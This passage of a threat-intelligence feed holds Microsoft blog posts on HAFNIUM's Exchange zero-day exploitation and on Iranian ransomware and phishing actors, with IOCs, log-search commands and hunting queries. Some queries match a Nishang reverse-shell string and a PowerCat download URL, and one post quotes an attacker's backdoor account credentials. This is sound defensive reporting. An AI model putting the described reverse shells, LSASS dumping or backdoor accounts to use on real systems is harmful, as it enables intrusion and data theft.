Intelligence Center (MSTIC) attributes this campaign with high confidence to [HAFNIUM](<https://blogs.microsoft.com/on-the-issues/?p=64505>), a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures.\n\nThe vulnerabilities recently being exploited were CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, all of which were addressed in today\u2019s [Microsoft Security Response Center (MSRC) release - Multiple Security Updates Released for Exchange Server](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server>). We strongly urge customers to update on-premises systems immediately. Exchange Online is not affected.\n\nWe are sharing this information with our customers and the security community to emphasize the critical nature of these vulnerabilities and the importance of patching all affected systems immediately to protect against these exploits and prevent future abuse across the ecosystem. This blog also continues our mission to shine a light on malicious actors and elevate awareness of the sophisticated tactics and techniques used to target our customers. The related IOCs, [Azure Sentinel](<https://azure.microsoft.com/en-us/services/azure-sentinel/>) advanced hunting queries, and [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>) product detections and queries shared in this blog will help SOCs proactively hunt for related activity in their environments and elevate any alerts for remediation.\n\nMicrosoft would like to thank our industry colleagues at Volexity and Dubex for reporting different parts of the attack chain and their collaboration in the investigation. Volexity has also [published a blog post](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities>) with their analysis. It is this level of proactive communication and intelligence sharing that allows the community to come together to get ahead of attacks before they spread and improve security for all.\n\n## Who is HAFNIUM?\n\nHAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.\n\nHAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like [Covenant](<https://github.com/cobbr/Covenant>), for command and control. Once they\u2019ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like [MEGA](<https://mega.nz/>).\n\nIn campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets\u2019 environments.\n\nHAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.\n\n## Technical details\n\nMicrosoft is providing the following details to help our customers understand the techniques used by HAFNIUM to exploit these vulnerabilities and enable more effective defense against any future attacks against unpatched systems.\n\n[CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>) is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.\n\n[CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.\n\n[CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin\u2019s credentials.\n\n[CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin\u2019s credentials.\n\n## Attack details\n\nAfter exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below:\n\n\n\nFollowing web shell deployment, HAFNIUM operators performed the following post-exploitation activity:\n\n * Using Procdump to dump the LSASS process memory:\n\n\n\n * Using 7-Zip to compress stolen data into ZIP files for exfiltration:\n\n\n\n * Adding and using Exchange PowerShell snap-ins to export mailbox data:\n\n\n\n * Using the [Nishang](<https://github.com/samratashok/nishang>) Invoke-PowerShellTcpOneLine reverse shell:\n\n\n\n * Downloading PowerCat from GitHub, then using it to open a connection to a remote server:\n\n\n\nHAFNIUM operators were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users.\n\nOur blog, [Defending Exchange servers under attack](<https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/>), offers advice for improving defenses against Exchange server compromise. Customers can also find additional guidance about web shell attacks in our blog [Web shell attacks continue to rise.](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>)\n\n## Can I determine if I have been compromised by this activity?\n\nThe below sections provide indicators of compromise (IOCs), detection guidance, and advanced hunting queries to help customers investigate this activity using Exchange server logs, Azure Sentinel, Microsoft Defender for Endpoint, and Microsoft 365 Defender. We encourage our customers to conduct investigations and implement proactive detections to identify possible prior campaigns and prevent future campaigns that may target their systems.\n\n### Check patch levels of Exchange Server\n\nThe Microsoft Exchange Server team has published a [blog post on these new Security Updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) providing a script to get a quick inventory of the patch-level status of on-premises Exchange servers and answer some basic questions around installation of these patches.\n\n### Scan Exchange log files for indicators of compromise\n\nThe Exchange Server team has created a script to run a check for HAFNIUM IOCs to address performance and memory concerns. That script is available here: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n\n * CVE-2021-26855 exploitation can be detected via the following Exchange HttpProxy logs: \n * These logs are located in the following directory: %PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\Logging\\HttpProxy\n * Exploitation can be identified by searching for log entries where the AuthenticatedUser is empty and the AnchorMailbox contains the pattern of ServerInfo~*/* \n * Here is an example PowerShell command to find these log entries:\n\n`Import-Csv -Path (Get-ChildItem -Recurse -Path \"$env:PROGRAMFILES\\Microsoft\\Exchange Server\\V15\\Logging\\HttpProxy\" -Filter '*.log').FullName | Where-Object { $_.AnchorMailbox -like 'ServerInfo~*/*' -or $_.BackEndCookie -like 'Server~*/*~*'} | select DateTime, AnchorMailbox, UrlStem, RoutingHint, ErrorCode, TargetServerVersion, BackEndCookie, GenericInfo, GenericErrors, UrlHost, Protocol, Method, RoutingType, AuthenticationType, ServerHostName, HttpStatus, BackEndStatus, UserAgent`\n\n * * If activity is detected, the logs specific to the application specified in the AnchorMailbox path can be used to help determine what actions were taken. \n * These logs are located in the %PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\Logging directory.\n * CVE-2021-26858 exploitation can be detected via the Exchange log files: \n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\OABGeneratorLog\n * Files should only be downloaded to the %PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\ClientAccess\\OAB\\Temp directory \n * In case of exploitation, files are downloaded to other directories (UNC or local paths)\n * Windows command to search for potential exploitation:\n\n`findstr /snip /c:\"Download failed and temporary file\" \"%PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\Logging\\OABGeneratorLog\\*.log\"`\n\n * CVE-2021-26857 exploitation can be detected via the Windows Application event logs \n * Exploitation of this deserialization bug will create Application events with the following properties: \n * Source: MSExchange Unified Messaging\n * EntryType: Error\n * Event Message Contains: System.InvalidCastException\n * Following is PowerShell command to query the Application Event Log for these log entries:\n\n`Get-EventLog -LogName Application -Source \"MSExchange Unified Messaging\" -EntryType Error | Where-Object { $_.Message -like \"*System.InvalidCastException*\" }`\n\n * CVE-2021-27065 exploitation can be detected via the following Exchange log files: \n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\ECP\\Server\n\nAll Set-<AppName>VirtualDirectory properties should never contain script. InternalUrl and ExternalUrl should only be valid Uris.\n\n * * Following is a PowerShell command to search for _potential_ exploitation:\n\n`Select-String -Path \"$env:PROGRAMFILES\\Microsoft\\Exchange Server\\V15\\Logging\\ECP\\Server\\*.log\" -Pattern 'Set-.+VirtualDirectory'`\n\n## Host IOCs\n\nMicrosoft is releasing a feed of observed indicators of compromise (IOCs) in related attacks. This feed is available in both [CSV](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.csv>) and [JSON](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.json>) formats. This information is being shared as TLP:WHITE.\n\n### Hashes\n\nWeb shell hashes\n\n * b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0\n * 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e\n * 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1\n * 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5\n * 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1\n * 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea\n * 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d\n * 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944\n\n### Paths\n\nWe observed web shells in the following paths:\n\n * _C:\\inetpub\\wwwroot\\aspnet_client\\_\n * _C:\\inetpub\\wwwroot\\aspnet_client\\system_web\\_\n * _In Microsoft Exchange Server installation paths such as:_\n * _%PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\_\n * _C:\\Exchange\\FrontEnd\\HttpProxy\\owa\\auth\\_\n\nThe web shells we detected had the following file names:\n\n * _web.aspx_\n * _help.aspx_\n * _document.aspx_\n * _errorEE.aspx_\n * _errorEEE.aspx_\n * _errorEW.aspx_\n * _errorFF.aspx_\n * _healthcheck.aspx_\n * _aspnet_www.aspx_\n * _aspnet_client.aspx_\n * _xx.aspx_\n * _shell.aspx_\n * _aspnet_iisstart.aspx_\n * _one.aspx_\n\n_ _Check for suspicious .zip, .rar, and .7z files in _C:\\ProgramData\\_, which may indicate possible data exfiltration.\n\nCustomers should monitor these paths for LSASS dumps:\n\n * _C:\\windows\\temp\\_\n * _C:\\root\\_\n\n### Tools\n\n * [Procdump](<https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>)\n * [Nishang](<https://github.com/samratashok/nishang>)\n * [PowerCat](<https://github.com/besimorhino/powercat>)\n\nMany of the following detections are for post-breach techniques used by HAFNIUM. So while these help detect some of the specific current attacks that Microsoft has observed it remains very important to apply the recently released updates for CVE-2021-26855, CVE-2021-26857, CVE-2021-27065 and CVE-2021-26858.\n\n## Microsoft Defender Antivirus detections\n\nPlease note that some of these detections are generic detections and not unique to this campaign or these exploits.\n\n * Exploit:Script/Exmann.A!dha\n * Behavior:Win32/Exmann.A\n * Backdoor:ASP/SecChecker.A\n * Backdoor:JS/Webshell _(not unique)_\n * Trojan:JS/Chopper!dha _(not unique)_\n * Behavior:Win32/DumpLsass.A!attk _(not unique)_\n * Backdoor:HTML/TwoFaceVar.B _(not unique)_\n\n## Microsoft Defender for Endpoint detections\n\n * Suspicious Exchange UM process creation\n * Suspicious Exchange UM file creation\n * Possible web shell installation _(not unique)_\n * Process memory dump _(not unique)_\n\n## Azure Sentinel detections\n\n * [HAFNIUM Suspicious Exchange Request](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/W3CIISLog/HAFNIUMSuspiciousExchangeRequestPattern.yaml>)\n * [HAFNIUM UM Service writing suspicious file](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/HAFNIUMUmServiceSuspiciousFile.yaml>)\n * [HAFNIUM New UM Service Child Process](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/HAFNIUMNewUMServiceChildProcess.yaml>)\n * [HAFNIUM Suspicious UM Service Errors](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/HAFNIUMSuspiciousIMServiceError.yaml>)\n * [HAFNIUM Suspicious File Downloads](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/htttp_proxy_oab_CL/HAFNIUMSuspiciousFileDownloads.yaml>)\n\n## Advanced hunting queries\n\nTo locate possible exploitation activity related to the contents of this blog, you can run the following [advanced hunting](<https://securitycenter.windows.com/hunting>) queries via Microsoft Defender for Endpoint and Azure Sentinel:\n\n### Microsoft Defender for Endpoint advanced hunting queries\n\nMicrosoft 365 Defender customers can find related hunting queries below or at this GitHub location: [https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/ ](<https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/>)\n\nAdditional queries and information are available via [_Threat Analytics portal_](<https://securitycenter.windows.com/threatanalytics3/>) for Microsoft Defender customers.\n\n**UMWorkerProcess.exe in Exchange creating abnormal content**\n\nLook for Microsoft Exchange Server\u2019s Unified Messaging service creating non-standard content on disk, which could indicate web shells or other malicious content, suggesting exploitation of CVE-2021-26858 vulnerability:\n\n`DeviceFileEvents | where InitiatingProcessFileName == \"UMWorkerProcess.exe\" | where FileName != \"CacheCleanup.bin\" | where FileName !endswith \".txt\" | where FileName !endswith \".LOG\" | where FileName !endswith \".cfg\" | where FileName != \"cleanup.bin\"`\n\n**UMWorkerProcess.exe spawning**\n\nLook for Microsoft Exchange Server\u2019s Unified Messaging service spawning abnormal subprocesses, suggesting exploitation of CVE-2021-26857 vulnerability:\n\n`DeviceProcessEvents | where InitiatingProcessFileName == \"UMWorkerProcess.exe\" | where FileName != \"wermgr.exe\" | where FileName != \"WerFault.exe\"`\n\nPlease note excessive spawning of wermgr.exe and WerFault.exe could be an indicator of compromise due to the service crashing during deserialization.\n\n### Azure Sentinel advanced hunting queries\n\nAzure Sentinel customers can find a Sentinel query containing these indicators in the Azure Sentinel Portal or at this GitHub location: <https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/>.\n\nLook for Nishang Invoke-PowerShellTcpOneLine in Windows Event Logging:\n\n`SecurityEvent | where EventID == 4688 | where Process has_any (\"powershell.exe\", \"PowerShell_ISE.exe\") | where CommandLine has \"$client = New-Object System.Net.Sockets.TCPClient\"`\n\nLook for downloads of PowerCat in cmd and Powershell command line logging in Windows Event Logs:\n\n`SecurityEvent | where EventID == 4688 | where Process has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") | where CommandLine has \"https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\"`\n\nLook for Exchange PowerShell Snapin being loaded. This can be used to export mailbox data, subsequent command lines should be inspected to verify usage:\n\n`SecurityEvent | where EventID == 4688 | where Process has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") | where isnotempty(CommandLine) | where CommandLine contains \"Add-PSSnapin Microsoft.Exchange.Powershell.Snapin\" | summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Computer, Account, CommandLine`\n\n \n\nThe post [HAFNIUM targeting Exchange Servers with 0-day exploits](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-02T21:07:53", "type": "mmpc", "title": "HAFNIUM targeting Exchange Servers with 0-day exploits", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-02T21:07:53", "id": "MMPC:28641FE2F73292EB4B26994613CC882B", "href": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-19T19:23:28", "description": "Over the past year, the Microsoft Threat Intelligence Center (MSTIC) has observed a gradual evolution of the tools, techniques, and procedures employed by malicious network operators based in Iran. At [CyberWarCon 2021](<https://www.cyberwarcon.com/>), MSTIC analysts presented their analysis of these trends in Iranian nation state actor activity during a session titled \u201c_The Iranian evolution: Observed changes in Iranian malicious network operations_\u201d. This blog is intended to summarize the content of that research and the topics covered in their presentation and demonstrate MSTIC\u2019s ongoing efforts to track these actors and protect customers from the related threats.\n\nMSTIC consistently tracks threat actor activity, including the groups discussed in this blog, and works across Microsoft Security products and services to build detections into our products that improve customer protections. We are sharing this blog today so that others in the community can also be aware of the latest techniques we have observed being used by Iranian actors.\n\nAs with any observed nation-state actor activity, Microsoft has directly notified customers that have been targeted or compromised, providing them with the information they need to help secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor.\n\nThree notable trends in Iranian nation-state operators have emerged:\n\n * They are increasingly utilizing ransomware to either collect funds or disrupt their targets.\n * They are more patient and persistent while engaging with their targets.\n * While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets.\n\n## Ransomware\n\nSince September 2020, MSTIC has observed six Iranian threat groups deploying ransomware to achieve their strategic objectives. These ransomware deployments were launched in waves every six to eight weeks on average.\n\n\n\n_Figure 1: Timeline of ransomware attacks by Iranian threat actors_\n\nIn one observed campaign, PHOSPHORUS targeted the Fortinet FortiOS SSL VPN and unpatched on-premises Exchange Servers globally with the intent of deploying ransomware on vulnerable networks. A recent blog post by the [DFIR Report](<https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/>) describes a similar intrusion in which actors leveraged vulnerabilities in on-premise Exchange Servers to compromise a victim environment and encrypt systems via BitLocker. MSTIC also attributes this activity to PHOSPHORUS. PHOSPHORUS operators conducted widespread scanning and ransomed targeted systems through a five-step process: Scan, Exploit, Review, Stage, Ransom.\n\n### Scan\n\nIn the early part of 2021, PHOSPHORUS actors scanned millions of IPs on the internet for Fortinet FortiOS SSL VPN that were vulnerable to [CVE-2018-13379](<https://www.fortiguard.com/psirt/FG-IR-18-384>). This vulnerability allowed the attackers to collect clear-text credentials from the sessions file on vulnerable Fortinet VPN appliances. The actors collected credentials from over 900 Fortinet VPN servers in the United States, Europe, and Israel so far this year. In the last half of 2021, PHOSPHORUS shifted to scanning for unpatched on-premises Exchange Servers vulnerable to ProxyShell ([CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>)).\n\n### Exploit\n\nWhen they identified vulnerable servers, PHOSPHORUS sought to gain persistence on the target systems. In some instances, the actors downloaded a Plink runner named _MicrosoftOutLookUpdater.exe_. This file would beacon periodically to their C2 servers via SSH, allowing the actors to issue further commands. Later, the actors would download a custom implant via a Base64-encoded PowerShell command. This implant established persistence on the victim system by modifying startup registry keys and ultimately functioned as a loader to download additional tools.\n\n### Review\n\nAfter gaining persistence, PHOSPHORUS actors triaged hundreds of victims to determine which of them were fitting for actions on objectives. On select victims, operators created local administrator accounts with a with a username of \u201chelp\u201d and password of \u201c_AS_@1394\u201d via the commands below. On occasion, actors dumped LSASS to acquire credentials to be used later for lateral movement.\n\n\n\n### Stage and Ransom\n\nFinally, MSTIC observed PHOSPHORUS employing BitLocker to encrypt data and ransom victims at several targeted organizations. BitLocker is a full volume encryption feature meant to be used for legitimate purposes. After compromising the initial server (through vulnerable VPN or Exchange Server), the actors moved laterally to a different system on the victim network to gain access to higher value resources. From there, they deployed a script to encrypt the drives on multiple systems. Victims were instructed to reach out to a specific Telegram page to pay for the decryption key.\n\n\n\n## Patience and persistence\n\nMSTIC has observed PHOSPHORUS threat actors employing social engineering to build rapport with their victims before targeting them. These operations likely required significant investment in the operator\u2019s time and resources to refine and execute. This trend indicates PHOSPHORUS is either moving away from or expanding on their past tactics of sending unsolicited links and attachments in spear-phishing email campaigns to attempt credential theft.\n\n### PHOSHORUS \u2013 Patient and persistent\n\nPHOSPHORUS sends \u201cinterview requests\u201d to target individuals through emails that contain tracking links to confirm whether the user has opened the file. Once a response is received from the target user, PHOSPHORUS attackers send a link to a benign list of interview questions hosted on a cloud service provider. The attackers continue with several back-and-forth conversations discussing the questions with the target user before finally sending a meeting invite with a link masquerading as a Google Meeting.\n\nOnce the meeting invite is sent, the attackers continuously reach out to the target user, asking them to test the Google Meeting link. The attackers contact the targeted user multiple times per day, continuously pestering them to click the link. The attackers even go so far as to offer to call the target user to walk them through clicking the link. The attackers are more than willing to troubleshoot any issues the user has signing into the fake Google Meeting link, which leads to a credential harvesting page.\n\nMSTIC has observed PHOSPHORUS operators become very aggressive in their emails after the initial lure is sent, to the point where they are almost demanding a response from the targeted user.\n\n### CURIUM \u2013 In it for the long run\n\nCURIUM is another Iranian threat actor group that has shown a great deal of patience when targeting users. Instead of phishing emails, CURIUM actors leverage a network of fictitious social media accounts to build trust with targets and deliver malware.\n\nThese attackers have followed the following playbook:\n\n * Masquerade as an attractive woman on social media\n * Establish a connection via social media with a target user via LinkedIn, Facebook, etc.\n * Chat with the target daily\n * Send benign videos of the woman to the target to prime them to lower their guard\n * Send malicious files to the target similar the benign files previously sent\n * Request that the target user open the malicious document\n * Exfiltrate data from the victim machine\n\nThe process above can take multiple months from the initial connection to the delivery of the malicious document. The attackers build a relationship with target users over time by having constant and continuous communications which allows them to build trust and confidence with the target. In many of the cases we have observed, the targets genuinely believed that they were making a human connection and not interacting with a threat actor operating from Iran.\n\nBy exercising patience, building relationships, and pestering targets continuously once a relationship has been formed, Iranian threat actors have had more success in compromising their targets.\n\n## Brute force\n\nIn 2021, MSTIC observed DEV-0343 aggressively targeting Office 365 tenants via an ongoing campaign of password spray attacks. DEV-0343 is a threat actor MSTIC assesses to be likely operating in support of Iranian interests. MSTIC has [blogged about DEV-0343 activity previously](<https://www.microsoft.com/security/blog/2021/10/11/iran-linked-dev-0343-targeting-defense-gis-and-maritime-sectors/>).\n\nAnalysis of Office 365 logs suggests that DEV-0343 is using a red team tool like [o365spray](<https://github.com/0xZDH/o365spray>) to conduct these attacks.\n\nTargeting in this DEV-0343 activity has been observed across defense companies that support United States, European Union, and Israeli government partners producing military-grade radars, drone technology, satellite systems, and emergency response communication systems. Further activity has targeted customers in geographic information systems (GIS), spatial analytics, regional ports of entry in the Persian Gulf, and several maritime and cargo transportation companies with a business focus in the Middle East.\n\nAs we discussed in our previous blog, DEV-0343 operators\u2019 \u2018pattern of life\u2019 is consistent with the working schedule of actors based in Iran. DEV-0343 operator activity peaked Sunday through Thursday between 04:00:00 and 16:00:00 UTC.\n\n\n\n_Figure 2: DEV-0343 observed operating hours in UTC_\n\n\n\n_Figure 3: DEV-0343 observed actor requests per day_\n\nKnown DEV-0343 operators have also been observed targeting the same account on the same tenant being targeted by other known Iranian operators. For example, EUROPIUM operators attempted to access a specific account on June 12, 2021 and ultimately gained access to this account on June 13, 2021. DEV-0343 was then observed targeting this same account within minutes of EUROPIUM operators gaining access to it the same day. MSTIC assesses that these observed overlapping activities suggest a coordination between different Iranian actors pursuing common objectives.\n\n## Closing thoughts: Increasingly capable threat actors\n\nAs Iranian operators have adapted both their strategic goals and tradecraft, over time they have evolved into more competent threat actors capable of conducting a full spectrum of operations including:\n\n * Information operations\n * Disruption and destruction\n * Support to physical operations\n\nSpecifically, Iranian operators have proven themselves to be both willing and able to:\n\n * Deploy ransomware\n * Deploy disk wipers\n * Deploy mobile malware\n * Conduct phishing attacks\n * Conduct password spray attacks\n * Conduct mass exploitation attacks\n * Conduct supply chain attacks\n * Cloak C2 communications behind legitimate cloud services\n\nMSTIC thanks CyberWarCon 2021 for the opportunity to present this research to the broader security community. Microsoft will continue to monitor all this activity by Iranian actors and implement protections for our customers.\n\n \n\nThe post [Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-16T16:00:08", "type": "mmpc", "title": "Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-11-16T16:00:08", "id": "MMPC:C0F4687B18D53FB9596AD4FDF77092D8", "href": "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-09-07T21:07:14", "description": "Microsoft threat intelligence teams have been tracking multiple ransomware campaigns and have tied these attacks to DEV-0270, also known as Nemesis Kitten, a sub-group of [Iranian actor PHOSPHORUS](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>). Microsoft assesses with moderate confidence that DEV-0270 conducts malicious network operations, including widespread vulnerability scanning, on behalf of the government of Iran. However, judging from their geographic and sectoral targeting, which often lacked a strategic value for the regime, we assess with low confidence that some of DEV-0270\u2019s ransomware attacks are a form of moonlighting for personal or company-specific revenue generation. This blog profiles the tactics and techniques behind the DEV-0270/PHOSPHORUS ransomware campaigns. We hope this analysis, which Microsoft is using to protect customers from related attacks, further exposes and disrupts the expansion of DEV-0270\u2019s operations.\n\nDEV-0270 leverages exploits for high-severity vulnerabilities to gain access to devices and is known for the early adoption of newly disclosed vulnerabilities. DEV-0270 also extensively uses living-off-the-land binaries (LOLBINs) throughout the attack chain for discovery and credential access. This extends to its abuse of the built-in BitLocker tool to encrypt files on compromised devices.\n\nIn some instances where encryption was successful, the time to ransom (TTR) between initial access and the ransom note was around two days. The group has been observed demanding USD 8,000 for decryption keys. In addition, the actor has been observed pursuing other avenues to generate income through their operations. In one attack, a victim organization refused to pay the ransom, so the actor opted to post the stolen data from the organization for sale packaged in an SQL database dump.\n\nUsing these observations, this blog details the group\u2019s tactics and techniques across its end-to-end attack chain to help defenders identify, investigate, and mitigate attacks. We also provide extensive hunting queries designed to surface stealthy attacks. This blog also includes protection and hardening guidance to help organizations increase resilience against these and similar attacks.\n\nFigure 1. Typical DEV-0270 attack chain\n\n## Who is DEV-0270?\n\nMicrosoft assesses that DEV-0270 is operated by a company that functions under two public aliases: Secnerd (secnerd[.]ir) and Lifeweb (lifeweb[.]ir). We have observed numerous infrastructure overlaps between DEV-0270 and Secnerd/Lifeweb. These organizations are also linked to Najee Technology Hooshmand (\u0646\u0627\u062c\u06cc \u062a\u06a9\u0646\u0648\u0644\u0648\u0698\u06cc \u0647\u0648\u0634\u0645\u0646\u062f), located in Karaj, Iran.\n\nThe group is typically opportunistic in its targeting: the actor scans the internet to find vulnerable servers and devices, making organizations with vulnerable and discoverable servers and devices susceptible to these attacks.\n\nAs with any observed nation state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing Microsoft Threat Intelligence Center (MSTIC) to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor.\n\n## Observed actor activity\n\n### Initial access\n\nIn many of the observed DEV-0270 instances, the actor gained access by exploiting known vulnerabilities in Exchange or Fortinet (CVE-2018-13379). For Exchange, the most prevalent exploit has been ProxyLogon\u2014this highlights the need to patch high-severity vulnerabilities in internet-facing devices, as the group has continued to successfully exploit these vulnerabilities even recently, well after updates 